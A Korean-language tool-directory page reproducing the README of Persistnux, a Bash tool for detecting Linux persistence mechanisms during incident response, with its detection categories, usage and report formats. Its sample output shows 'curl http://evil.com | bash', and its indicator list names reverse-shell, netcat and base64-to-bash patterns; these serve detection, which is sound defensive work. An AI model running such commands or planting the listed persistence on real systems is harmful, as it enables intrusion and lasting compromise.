Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Persistnux — DFIR 조사를 위한 Bash 기반 Linux 지속성 탐지 도구. 15개 이상의 지속성 메커니즘(systemd, cron, 커널 모듈, SSH, 컨테이너)을 스캔하고 신뢰도 점수를 부여하며, 포렌식 분석을 위한 CSV/JSONL 보고서를 생성합니다. | Kitploit
도구/GitHubGitHub/go-lanz/persistnux
Privilege EscalationPersistence MechanismsVulnerability AnalysisForensicsMalware AnalysisDigital ForensicsLearning & EducationIncident ResponseContainer EscapeLabs & Practice
GitHubgo-lanz/persistnux
3403개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Persistnux

DFIR 조사를 위한 Bash 기반 Linux 지속성 탐지 도구. 15개 이상의 지속성 메커니즘(systemd, cron, 커널 모듈, SSH, 컨테이너)을 스캔하고 신뢰도 점수를 부여하며, 포렌식 분석을 위한 CSV/JSONL 보고서를 생성합니다.

저장소 보기
# Persistnux

디지털 포렌식 및 침해사고 대응(DFIR) 조사를 위한 포괄적인 Linux 지속성 탐지 도구입니다.

## 개요

Persistnux는 공격자가 손상된 시스템에 접근을 유지하기 위해 사용하는 알려진 Linux 지속성 메커니즘을 식별하도록 설계된 bash 기반 도구입니다. 시스템 전반에 걸쳐 포괄적인 검사를 수행하고 추가 분석을 위해 CSV 및 JSONL 형식의 상세 보고서를 생성합니다.

## 기능

- **포괄적 탐지**: 모든 주요 Linux 지속성 메커니즘을 다룹니다.
- **실시간 분석**: 최소한의 종속성으로 라이브 시스템에서 직접 실행됩니다.
- **상세 출력**: 파일 해시, 메타데이터, 신뢰도 점수가 포함된 CSV 및 JSONL 보고서를 생성합니다.
- **루트 및 비루트**: 루트 권한 유무에 관계없이 작동합니다(비루트의 경우 범위 제한).
- **DFIR 준비**: 일반적인 DFIR 도구 및 워크플로와 호환되는 출력 형식입니다.
- **의심 점수**: 지표를 기반으로 자동 신뢰도 점수(LOW, MEDIUM, HIGH, CRITICAL)를 부여합니다.
- **오탐지 감소**: 패키지 관리자 통합 및 알려진 정상 서비스 화이트리스트를 제공합니다.
- **시간 기반 분석**: 최근에 수정된 파일에 더 높은 신뢰도 점수를 부여합니다.
- **패턴 매칭**: 리버스 셸, 다운로드-실행 패턴, 난독화 기법을 탐지합니다.

## 탐지되는 지속성 메커니즘

### 1. Systemd 서비스
- `/etc/systemd/system`, `/lib/systemd/system`, `/usr/lib/systemd/system` 디렉토리의 서비스 파일(`.service`)
- 사용자 수준 systemd 서비스
- 비활성화된 서비스 및 ExecStart가 없는 서비스 필터링
- 의심스러운 ExecStart 명령 탐지
- 실행된 바이너리/스크립트의 패키지 무결성 확인

### 2. Cron 작업 및 예약된 작업
- 시스템 crontab(`/etc/crontab`, `/etc/cron.d/*`)
- 주기적 실행 디렉토리(`/etc/cron.{daily,hourly,weekly,monthly}`)
- 모든 사용자의 사용자 crontab(루트 모드)
- At 작업
- 예약된 작업 내 의심스러운 명령 패턴
- `/etc/cron.allow` 및 `/etc/cron.deny` ACL 파일 — 존재하지 않는 사용자를 참조하는 항목 플래그

### 3. 셸 프로필 및 RC 파일
- 시스템 전체 프로필(`/etc/profile`, `/etc/bash.bashrc`, `/etc/zshrc`)
- Profile.d 스크립트(`/etc/profile.d/*`)
- 사용자 프로필(`.bashrc`, `.bash_profile`, `.zshrc`, `.profile` 등)
- Fish 셸 구성
- 프로필 파일 내 악성 명령 탐지

### 4. Init 스크립트 및 RC.local
- `/etc/rc.local` 및 변형
- SysV init 스크립트(`/etc/init.d`)
- 런레벨 스크립트(`/etc/rc*.d`)
- 의심스러운 다운로드/실행 명령 탐지

### 5. 커널 모듈 및 라이브러리 프리로딩
- LD_PRELOAD 구성(`/etc/ld.so.preload`) — 나열된 각 라이브러리를 패키지 관리자를 통해 확인
- 동적 링커 구성(`/etc/ld.so.conf`, `/etc/ld.so.conf.d/`) — 구성 파일 무결성 확인 + 비표준 경로 `.so` 파일 스캔 및 확인
- `/etc/environment` LD_PRELOAD/LD_LIBRARY_PATH — 환경 파일이 HIGH로 플래그 지정됨; 참조된 라이브러리 경로 확인(비관리/수정 → CRITICAL)
- 커널 모듈 매개변수(`/etc/modprobe.d/`, `/etc/modprobe.conf`) — 파일 무결성 확인; `install` 지시문 분석하여 의심스러운 명령 대상 확인; 보안 모듈(apparmor, selinux, seccomp)의 `blacklist`는 HIGH로 플래그 지정
- 커널 모듈 자동 로드 구성(`/etc/modules`, `/etc/modules-load.d/`) — 구성 무결성 확인; 참조된 모듈 이름을 `modinfo`를 통해 `.ko` 파일로 확인 및 검증
- 로드된 커널 모듈(`lsmod`) — 열거 및 무결성 확인

### 6. 추가 메커니즘
- XDG 자동 시작 항목(`.config/autostart`, `/etc/xdg/autostart`) — 루트일 때 모든 사용자 홈 디렉토리 스캔
- 시스템 환경 파일(`/etc/environment`) — LD_PRELOAD/LD_LIBRARY_PATH 라이브러리 경로 확인
- Sudoers 구성 및 드롭인(`/etc/sudoers`, `/etc/sudoers.d/`) — NOPASSWD/ALL 패턴 → HIGH
- PAM(플러그형 인증 모듈):
  - 모든 `.so` 모듈을 패키지 관리자로 확인; `@include` 지시문 추적; `/etc/pam.conf` 포함
  - `pam_exec.so` 스크립트 분석 — 누락/의심스러운 스크립트 → CRITICAL
  - `pam_python.so` / `pam_perl.so` 중계 탐지 — 스크립트 추출 및 분석
  - `/etc/security/` 에서 `pam_script.so` 후크 파일 탐지
  - 구성 파일 무결성 — 패키지 소유 PAM 구성 수정 → CRITICAL
  - `pam_env.conf` 및 `~/.pam_environment` LD_PRELOAD 라이브러리 확인
  - `/etc/security/` 일반 스캔
- MOTD 스크립트(`/etc/update-motd.d/`) — 패키지 확인; 수정 → CRITICAL
- Git 자격 증명 헬퍼 및 core.pager 설정 — 모든 사용자에 대한 내용 분석
- 일반적인 웹 디렉토리 내 웹 셸

### 8. SSH 지속성
- 사용자별 `~/.ssh/authorized_keys` — 최근 수정된 키 플래그; `command=` 옵션 내용 분석하여 의심스러운 패턴 탐지
- 사용자별 `~/.ssh/rc` — 존재 시 MEDIUM 플래그; 의심스러운/리버스 셸 내용 → HIGH/CRITICAL

### 9. 바이너리 하이재킹
- 설치된 시스템 바이너리를 패키지 데이터베이스와 비교 확인(Debian/Ubuntu: `dpkg -V`, RHEL/CentOS: `rpm -Va`)
- `/usr/bin`, `/usr/sbin`, `/bin`, `/sbin` 내 수정된 파일 → CRITICAL 발견
- `/lib/security` 내 수정된 PAM 모듈 → CRITICAL 발견
- 오탐지를 방지하기 위해 dpkg 구성 파일(conffiles)은 제외

### 10. 부트로더 및 Initramfs
- GRUB `init=` 커널 매개변수 삽입(`/etc/default/grub`, `/etc/default/grub.d/*.cfg`)
- 루트 레벨 `/` 에 드롭된 init 스크립트
- `/sysroot/etc/shadow` 에 쓰는 `pre-pivot` 훅이 있는 Dracut initramfs 모듈
- `/etc/initramfs-tools/scripts/` 및 `/hooks/` 에 있는 Ubuntu initramfs-tools 훅 스크립트
- 최근 수정된 `/boot/initrd.img-*` 이미지(mtime 기반)

### 11. Polkit(PolicyKit) 조작
- 무조건적인 `ResultAny/ResultInactive/ResultActive=yes` 가 있는 `.pkla` 파일
- 와일드카드 ID(`unix-user:*`) 부여
- 무조건적인 `polkit.Result.YES` 가 있는 `.rules` 파일(JavaScript 기반 Polkit >= 0.106)

### 12. D-Bus 및 NetworkManager
- 악성 D-Bus 시스템 서비스 `Exec=` 등록(`/usr/share/dbus-1/system-services/`)
- D-Bus 정책 와일드카드 `allow own="*"` 또는 `send_destination="*"` 지시문
- NetworkManager 디스패처 스크립트(`/etc/NetworkManager/dispatcher.d/`)

### 13. Udev 규칙
- 임의의 명령 또는 스크립트를 실행하는 Udev `RUN+=` 지시문(`/etc/udev/rules.d/`, `/lib/udev/rules.d/`)
- `/run/udev/rules.d/` 에 런타임 주입된 규칙
- `RUN+=` 내 `at`/`cron` 위임 패턴(일반적인 포그라운드 제한 우회)

### 14. 컨테이너 이스케이프
- 권한 있는 Docker 컨테이너(`--privileged`, `--pid=host`)
- 컨테이너 내 `docker.sock` 바인드 마운트(Docker API를 통한 전체 호스트 제어)
- 컨테이너 엔트리포인트 또는 Dockerfile 내 `nsenter -t 1`
- 이스케이프 기법을 포함하는 사용자 쓰기 가능 디렉토리의 Dockerfile

### 15. 고급 바이너리 및 권한 검사
- 시스템 디렉토리 전반의 활성 SUID/SGID 파일 시스템 스캔
- `getcap` 을 통한 파일 캐퍼빌리티 스캔 — GTFOBins 에서 `cap_setuid+ep` → CRITICAL
- 래퍼 스크립트로 이름이 변경된 원본(`.original`, `.old`, `.bak`, `.real`)이 있는 바이너리 하이재킹
- `/etc/passwd` 에서 UID 0인 비루트 계정
- `/etc/passwd` 셸 필드의 후행 공백을 통한 셸 마스킹
- SSH `authorized_keys` 파일이 있는 시스템 계정(UID 1-999)

## 설치

```bash
# 저장소 복제
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# 스크립트에 실행 권한 부여
chmod +x persistnux.sh
```

## 사용법

### 기본 사용법 (실시간 분석)

```bash
# 기본 설정으로 실행 (의심스러운 결과만 표시)
sudo ./persistnux.sh

# 도움말 및 모든 옵션 표시
./persistnux.sh --help

# 일반 사용자로 실행 (범위 제한)
./persistnux.sh
```

### 필터링 옵션 (v2.4+)

기본적으로 Persistnux는 노이즈를 줄이고 실행 가능한 위협에 집중하기 위해 **의심스러운 결과만** (MEDIUM, HIGH, CRITICAL 신뢰도) 표시합니다.

```bash
# 기본값: 의심스러운 결과만 표시
sudo ./persistnux.sh

# 전체 결과 표시 (LOW 신뢰도 포함)
sudo ./persistnux.sh --all
# 또는
sudo FILTER_MODE=all ./persistnux.sh

# HIGH 및 CRITICAL 신뢰도 결과만 표시
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# 필터 결합: HIGH 신뢰도만
sudo ./persistnux.sh --min-confidence HIGH
```

### 사용자 정의 출력 디렉토리

```bash
# 사용자 정의 출력 디렉토리 지정
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# 필터링과 결합
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```

### 출력 파일

기본적으로 Persistnux는 `./persistnux_output/` 디렉토리를 생성하며 다음 파일을 포함합니다:

- `persistnux_<hostname>_<timestamp>.csv` - CSV 형식 보고서
- `persistnux_<hostname>_<timestamp>.jsonl` - JSONL 형식 보고서 (줄당 하나의 JSON 객체)
- `persistnux_<hostname>_<timestamp>_report.txt` - 사람이 읽을 수 있는 요약 보고서 (결과 개수 및 스캔 메타데이터 포함)

## 출력 형식

### CSV 형식

```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```

### JSONL 형식

```json
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}
```

### 주요 출력 필드

- **matched_pattern**: 결과를 트리거한 탐지 패턴 (예: `suspicious_script_content`, `modified_package`, `unmanaged_binary`)
- **matched_string**: 발견된 실제 의심스러운 내용 (키워드가 아닌 전체 줄)

## 신뢰도 점수

Persistnux는 오탐지를 줄이기 위해 지능적인 신뢰도 점수를 사용합니다:

- **LOW**: 표준 시스템 구성, 낮은 의심 (종종 패키지 관리 파일)
- **MEDIUM**: 잠재적으로 의심스럽지만 합법적일 수 있음
- **HIGH**: 의심스러운 패턴 탐지 (예: cron 내 curl/wget, /tmp 실행, 리버스 셸)
- **CRITICAL**: 변조의 결정적 증거 — 패키지 무결성 확인 실패, 의심스러운 파일의 SUID/SGID, PAM 모듈 이상, 임시 위치의 systemd 생성기, 또는 높은 엔트로피 페이로드가 있는 인라인 인터프리터 코드

### 오탐지 감소 (v1.2+)

Persistnux는 이제 오탐지를 줄이기 위한 여러 기능을 포함합니다:

1. **패키지 관리자 통합**: `dpkg` (Debian/Ubuntu) 또는 `rpm` (RedHat/CentOS)으로 관리되는 파일은 더 낮은 신뢰도 점수를 받습니다.
2. **알려진 정상 서비스 화이트리스트**: 일반적인 공급업체 서비스(systemd-*, dbus-*, snap.* 등)는 자동으로 건너뜁니다.
3. **시간 기반 점수**: 최근 수정된 파일(<7일)은 더 높은 신뢰도 점수를 받습니다.
4. **컨텍스트 인식 분석**: 여러 지표를 결합하여 더 정확한 탐지를 수행합니다.

## 의심스러운 지표

Persistnux는 다음을 감지할 때 자동으로 항목에 더 높은 신뢰도를 부여합니다:

### 네트워크 기반 패턴
- 리버스 셸: `bash -i >& /dev/tcp/`, `sh -i >& /dev/udp/`
- 네트워크 도구: `nc`, `netcat`, `socat`, `telnet`
- 스크립팅 언어의 소켓 작업: `python -c 'import socket'`

### 다운로드 및 실행 패턴
- 다운로드 도구: `curl | bash`, `wget | sh`
- 다운로드 후 실행: `curl URL -o /tmp/file && chmod +x`

### 난독화 기법
- 인코딩: `base64 -d | bash`, `eval $(echo BASE64)`
- 동적 실행: `eval`, `exec`

### 의심스러운 위치
- 임시 디렉토리: `/tmp`, `/dev/shm`, `/var/tmp`
- 숨겨진 디렉토리 및 파일

### 권한 조작
- 파일 실행 가능하게 만들기: `chmod +x`, `chmod 777`
- SUID 비트 조작: `chmod u+s`

## 요구 사항

- Bash 4.0+
- 표준 Unix 유틸리티: `find`, `grep`, `stat`, `sha256sum`, `awk`, `file`
- 선택 사항: `systemctl`, `lsmod`, `modinfo`, `getcap`, `dpkg`/`rpm` (특정 검사용)
- 인터프리터 종속성 없음 (순수 bash + coreutils; `python`/`jq` 필요 없음)
- 포괄적인 분석을 위해 루트/sudo 접근 권한 권장

## 테스트 완료 / 호환성

| 배포판 | 상태 | 비고 |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ 테스트 완료 | 주요 개발 및 테스트 플랫폼 |
| Ubuntu 20.04 LTS | ✅ 테스트 완료 | 완전 지원 |
| Debian 11/12 | ✅ 테스트 완료 | dpkg 기반, 동일한 경로 규칙 |
| Kali Linux (rolling) | ✅ 테스트 완료 | PANIX 탐지 벤치마크에 사용됨 (아래 참조) |
| RedHat / RHEL | ⚠️ 아직 테스트 안 됨 | rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음 |
| Fedora | ⚠️ 아직 테스트 안 됨 | rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음 |
| CentOS / AlmaLinux / Rocky | ⚠️ 아직 테스트 안 됨 | rpm 지원이 구현되었지만 라이브 시스템에서 검증되지 않음 |

> **참고:** 이 도구는 주로 **Ubuntu/Debian** 시스템에서 테스트되었습니다. RedHat, Fedora 및 RPM 기반 배포판은 코드에 패키지 관리자 지원이 구현되어 있지만 라이브 테스트 환경에서 검증되지 않았습니다. RPM 기반 배포판에 대한 기여 및 테스트 보고서를 환영합니다.

## 테스트 / 벤치마크

Persistnux는 Persistnux가 탐지하는 것과 동일한 지속성 메커니즘을 설치하는 [**PANIX**](https://github.com/Aegrah/PANIX)에 대해 벤치마크됩니다.
[`tests/panix_benchmark.sh`](https://github.com/go-lanz/persistnux/blob/main/tests/panix_benchmark.sh)의 반복 가능한 테스트 하니스는 각 PANIX 기법을 적용하고, Persistnux를 실행하며, 기준 diff를 통해 탐지를 확인합니다.
테스트 박스에 적용되는 모든 파일 기반 PANIX 기법은 `MEDIUM`+ 신뢰도로 탐지됩니다. 전체 적용 범위 표와 방법론은 [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md)를 참조하십시오.

> ⚠️ 벤치마크는 실제 백도어를 설치합니다 — 폐기 가능한 VM에서만 실행하십시오.

## 로드맵

- [ ] 포렌식 디스크 이미지를 위한 오프라인 분석 모드
- [ ] UAC(Unix 아티팩트 수집기) 수집 통합
- [ ] 전체 VM에서 부트로더/initramfs/LKM 벡터로 PANIX 벤치마크 확장

## 리소스
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX

## 기여

기여를 환영합니다! 다음에 대해 자유롭게 풀 리퀘스트를 제출하거나 이슈를 열어 주십시오:

- 새로운 지속성 메커니즘 탐지
- 버그 수정
- 문서 개선
- 성능 최적화
- 추가 출력 형식

## 라이선스

MIT 라이선스 — 자세한 내용은 LICENSE 파일을 참조하십시오.

## 감사의 말

Linux 침해사고 대응 및 포렌식 조사를 돕기 위해 DFIR 커뮤니티를 위해 개발되었습니다.

## 면책 조항

이 도구는 승인된 보안 테스트, 침해사고 대응 및 포렌식 분석 목적으로만 사용됩니다. 사용자는 이 도구를 시스템에서 실행하기 전에 적절한 승인을 받아야 할 책임이 있습니다.

## 연락처

질문, 이슈 또는 기여에 대해서는 GitHub 이슈 트래커를 사용해 주십시오.
도구 다운로드